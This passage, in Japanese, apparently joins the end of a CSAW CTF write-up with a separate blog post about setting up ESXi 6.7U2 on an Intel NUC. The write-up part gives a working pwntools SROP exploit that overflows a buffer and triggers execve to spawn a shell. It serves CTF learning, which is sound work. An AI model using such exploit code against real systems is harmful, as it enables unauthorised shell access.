をセット - rip に 上記でセットしたレジスタ状態で syscall を呼びたいので syscall のアドレスをセット(どれでもいい)
するとシェルがあがる(以下はローカルで動作確認した).
from pwn import * context.arch = 'amd64' # con = remote('pwn.chal.csaw.io', 1002) con = remote('192.168.10.66', 11002) payload = 'A' * 40 payload += pack(0x400180) frame = SigreturnFrame() frame.rax = 0x3b frame.rdi = 0x4001ca frame.rip = 0x400185 payload += str(frame) con.sendline(payload) con.interactive()
まとめ
Twitch の問題はいくらなんでも厳しすぎると思った.
そして SROP 知らないのダメダメですね….もっと勉強しなければ….
ESXi 6.7U2 on BOXNUC8I5BEH
ESXi 6.7U2 on BOXNUC8I5BEH
以前は以下でも書いたように第5世代の NUC に ESXi を入れて使っていたが,古くなってきたのと新しいものが欲しくなってきたので調達してみた.
買ったもの
アフィは嫌いなので型番と値段だけ転がしておく.計69442円.
電源ケーブル(ミッキーケーブル)は付属してないので注意.
- 本体: Intel NUC Kit BOXNUC8I5BEH(46622円)
- メモリ: CFD Selection D4N2400CM-16G * 2本(8585円 * 2本)
- ストレージ: ADATA XPG SX6000 Pro ASX6000PNP-256GT-C(4900円)
- ブートディスク: SanDisk Cruzer Fit SDCZ33-016G-JA57(660円)
組み立て
蓋開けてメモリと NVMe 挿すだけ.
メモリテスト
最終的にはブートディスクにはするけど先に memtest 投げ込んでテスト.
memtest は以下の free 版で.
hammer test は外して4周するのに3時間40分くらいだった.
BIOS の更新
ESXi 入れる前に BIOS を最新にしておいたほうが良いという情報が散見されたのであげた.
memtest で使った USB メモリを FAT32 でフォーマットして以下から落としてきた BIOS を普通にコピーするだけ.
自分がダウンロードしたのは "OS Independent" の "BE0073.bio"(現時点最新なので数字は変わりそう).
NUC を起動したら F2 を押して UEFI を起動して以下の手順に従って更新.
FAT32 の USB メモリを普通に読めるとかすごいですね(老害並み感).
ESXi のインストール用 USB メモリの作成
今回の NUC はカスタムイメージである必要がないので,公式から ESXi 6.7U2 を落としてきてブートディスク用の USB メモリに Rufus で bootable image に変換してあげれば良い.
手順は以下を参考に.というかこのサイトが最高.
ESXi のインストール
上記で作成した USB メモリを作成して手順に従ってインストールするだけ.
自分は NVMe は VM 用のディスクとして利用するので, ESXi はインストール用 USB メモリに書き込んだ.
まとめ
メモリも 32GB になって,カスタムイメージじゃなくなったりでさらに楽になって最近の NUC は素晴らしい.
k8s はあれだし Normad あたりで遊ぶ予定.